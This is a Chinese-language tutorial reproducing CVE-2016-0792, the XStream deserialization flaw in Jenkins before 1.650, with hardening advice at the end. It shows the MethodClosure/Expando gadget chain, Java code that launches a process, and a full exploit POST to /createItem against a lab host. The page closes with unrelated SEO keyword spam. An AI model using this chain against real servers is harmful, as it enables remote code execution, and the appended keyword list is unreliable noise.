千家信息网

如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,今天就跟大家聊聊有关如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。XS
千家信息网最后更新 2025年01月20日如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现

今天就跟大家聊聊有关如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

XStream组件功能

XStream可以轻易的将Java对象和xml文档相互转换,而且可以修改某个特定的属性和节点名称,而且也支持json的转换。

它具有以下特点:

  • 使用方便 - XStream的API提供了一个高层次外观,以简化常用的用例。

  • 无需创建映射 - XStream的API提供了默认的映射大部分对象序列化。

  • 性能 - XStream快速和低内存占用,适合于大对象图或系统。

  • 干净的XML - XStream创建一个干净和紧凑XML结果,这很容易阅读。

  • 不需要修改对象 - XStream可序列化的内部字段,如私有和最终字段,支持非公有制和内部类。默认构造函- - 数不是强制性的要求。

  • 完整对象图支持 - XStream允许保持在对象模型中遇到的重复引用,并支持循环引用。

  • 可自定义的转换策略 - 定制策略可以允许特定类型的定制被表示为XML的注册。

  • 安全框架 - XStream提供了一个公平控制有关解组的类型,以防止操纵输入安全问题。

  • 错误消息 - 出现异常是由于格式不正确的XML时,XStream抛出一个统一的例外,提供了详细的诊断,以解决这个问题。

  • 另一种输出格式 - XStream支持其它的输出格式,如JSON。

值得注意的是:它转换对象时,不需要对象继承Serializable接口。 这极大的方便了反序列化攻击。

XStream简单序列化代码如下:

@Testpublic void testWriter(){    Person person =newPerson();    //Set the properties using the setter methods    //Note: This can also be done with a constructor.    //Since we want to show that XStream can serialize    //even without a constructor, this approach is used.    person.setName("Jack");    person.setAge(18);    person.setAddress("whu");    //Serialize the object    XStream xs =newXStream();    //Write to a file in the file system    try{         String filename ="./person.txt";         FileOutputStream fs =newFileOutputStream(filename);         xs.toXML(person,fs);    } catch (FileNotFoundException e1) {         e1.printStackTrace();    }}

可以看到,XStream可以很方便地java对象转换为xml文件,生成文件如下:

  Tide  18  
whu

也可方便的将xml文件反序列化为java对象:

@Testpublic void testReader() {    XStream xs = new XStream(new DomDriver());    Person person = new Person();    try {        String filename = "./person.txt";        File file = new File(filename);        FileInputStream fis = new FileInputStream(filename);        //System.out.println(filename);        System.out.println(FileUtils.readFileToString(file));        xs.fromXML(fis, person);        //print the data from the object that has been read        System.out.println(person.toString());    } catch (FileNotFoundException ex) {        ex.printStackTrace();    } catch (IOException e) {        // TODO Auto-generated catch block        e.printStackTrace();    }}

发现Sink

对于一个漏洞利用,必然有一个敏感的Sink。它可以类或者函数等,它的作用是执行命令或者读写文件等敏感操作。可以被攻击者所利用,去做一些事情。这个漏洞的Sink就是一个MethodClosure闭包类:

/** * Represents a method on an object using a closure which can be invoked * at any time *  */public class MethodClosure extends Closure {    private String method;    public MethodClosure(Object owner, String method) {//构造函数,传入对象和方法名。        super(owner);        this.method = method;        final Class clazz = owner.getClass()==Class.class?(Class) owner:owner.getClass();        maximumNumberOfParameters = 0;        parameterTypes = new Class [0];        List methods = InvokerHelper.getMetaClass(clazz).respondsTo(owner, method);        for(MetaMethod m : methods) {            if (m.getParameterTypes().length > maximumNumberOfParameters) {                Class[] pt = m.getNativeParameterTypes();                maximumNumberOfParameters = pt.length;                parameterTypes = pt;            }        }    }    public String getMethod() {        return method;    }    protected Object doCall(Object arguments) {        return InvokerHelper.invokeMethod(getOwner(), method, arguments);//调用任意对象(owner)的任意方法(method)。    }    public Object getProperty(String property) {        if ("method".equals(property)) {            return getMethod();        } else  return super.getProperty(property);            }}

根据类的描述可知道是可以使用其调用对象的方法,并且继承了Closure类。而其doCall方法,它直接使用反射机制调用了我们的任意对象方法。并且对象和方法名是可以通过构造函数传入的。继续看父类(Closure):

public V call() {    final Object[] NOARGS = EMPTY_OBJECT_ARRAY;    return call(NOARGS);}@SuppressWarnings("unchecked")public V call(Object... args) {    try {        return (V) getMetaClass().invokeMethod(this,"doCall",args);    } catch (InvokerInvocationException e) {        ExceptionUtils.sneakyThrow(e.getCause());        return null; // unreachable statement    }  catch (Exception e) {        return (V) throwRuntimeException(e);    }}

调用父类(Closure)的call方法即可自动调用子类的doCall方法。于是,如下代码即可执行弹出计算器:

MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start");methodClosure.call();

说明:无法控制方法的参数(args),只能通过调用call(参数)来实现,因此利用的局限性比较大。只能找寻一个对象具有无参方法,来进行利用。

自动触发

在Expando类中,发现了Closure.call方法的调用。而且是在hashCode方法中:

/** * This allows hashCode to be overridden by a closure field method attached * to the expando object. * * @see java.lang.Object#hashCode() */public int hashCode() {    Object method = getProperties().get("hashCode");    if (method != null && method instanceof Closure) {        // invoke overridden hashCode closure method        Closure closure = (Closure) method;        closure.setDelegate(this);        Integer ret = (Integer) closure.call();//调用危险方法        return ret.intValue();    } else {        return super.hashCode();    }}

常用的HashMap类中,存在调用hashCode方法:

public V put(K key, V value) {    if (key == null)        return putForNullKey(value);    int hash = hash(key.hashCode());  // 调用key的hashCode方法    int i = indexFor(hash, table.length);    for (Entry e = table[i]; e != null; e = e.next) {        Object k;        if (e.hash == hash && ((k = e.key) == key || key.equals(k))) {            V oldValue = e.value;            e.value = value;            e.recordAccess(this);            return oldValue;        }    }    modCount++;    addEntry(hash, key, value, i);    return null;}

以下为测试自动触发的payload:

@Testpublic void testExploit(){    Map map = new HashMap();    Expando expando = new Expando();    MethodClosure methodClosure = new MethodClosure(new java.lang.ProcessBuilder("calc"), "start");    //methodClosure.call();    expando.setProperty("hashCode", methodClosure);    map.put(expando, 123);}

CVE-2016-0792漏洞复现

使用了XStream库的应用有很多,Jenkins是其中一个。接下来以CVE-2016-0792为例进行漏洞复现。

首先需要安装jenkins,这里使用的是1.642.1版本,其他版本可以自行下载

(http://archives.jenkins-ci.org/war-stable/1.642.1/jenkins.war)

在命令行内安装下载好的war包。这里需要在本地配置java环境。

java -jar C:\Users\Administrator\Desktop\jenkins.war

完成后访问http://ip:8080。可以打开即为安装成功。

点击"新建",将Burp抓到的GET包转为POST包

在攻击机内使用burp构造以下数据包

POST /createItem?name=foo HTTP/1.1Accept: text/html, application/xhtml+xml, */*Referer: http://192.168.92.150:8080/Accept-Language: zh-CNUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like GeckoAccept-Encoding: gzip, deflateHost: 192.168.92.150:8080Cookie: JSESSIONID.45f4c58a=15p7yy31dzajd1dtooqm83m4ow; screenResolution=1718x926Connection: keep-aliveContent-Type: text/xmlContent-Length: 895      hashCode    calc    false000start    123  

可以看到靶机内弹出计算器程序

利用条件

1. 权限限制条件:

无论匿名用户,还是登陆用户,权限必须具有"Overall的read权限和Job的create权限"两个权限(当然具有其他权限越多越好,若拥有administrater权限,其他任何权限都不是必须条件了,因为administrater为最高权限,故这里不考虑administrater)。因为该个漏洞是利用的createitem创建job的功能去调用api,所以create是必须的,而Jenkins最基本的权限是overall的read权限,用户必须赋予阅读的权限,不然什么都看不到。

2. 版本限制条件:

jenkins版本小于 1.650 (1.650版本已修复该问题)

3. post数据内容类型:

构造一个恶意的 XML 文档发送至服务端接口时,内容类型需注意为xml。

安全加固

  • 更新 Jenkins 至最新版本 1.650以上。

  • jenkins做访问控制,收入内网不开放往外网。

  • 禁止jenkins的匿名访问权限。

  • 保证每个jenkins账号不为弱口令。

看完上述内容,你们对如何进行XStream反序列化组件攻击CVE-2016-0792漏洞复现有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

对象 方法 权限 序列 漏洞 版本 支持 攻击 内容 文件 条件 类型 组件 安全 函数 格式 用户 问题 控制 干净 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 未来之役如何看之前服务器 小安时代互联网金融科技有限公司 常山软件开发项目管理 数据库中成绩分数怎样写 和网络安全有关的书籍文献 海光服务器cpu处理器参数 数据库管理系统安全配置策略 奇迹世界经典服务器认证没有响应 gom 物品数据库 丽水制造软件开发工程师 上海潮流软件开发价格 全国计算机网络安全大赛 数据库生成exe 清空某列的数据库 阳江无限软件开发价格走势 深圳市云创网络技术有限公司 网络安全专业培训班可以学吗 天谕手游服务器苹果安卓 数据库实验基本表的建立 播放关于网络安全的 cenos如何查服务器配置 怎么看自己服务器是几区几组 对日软件开发要会java吗 分布数据库有什么特点 丽水制造软件开发工程师 jdbc的数据库事务控制 静安区电话软件开发供应商有哪些 深圳市云创网络技术有限公司 黄石软件开发哪里有 新乡市江峰网络技术有限公司
0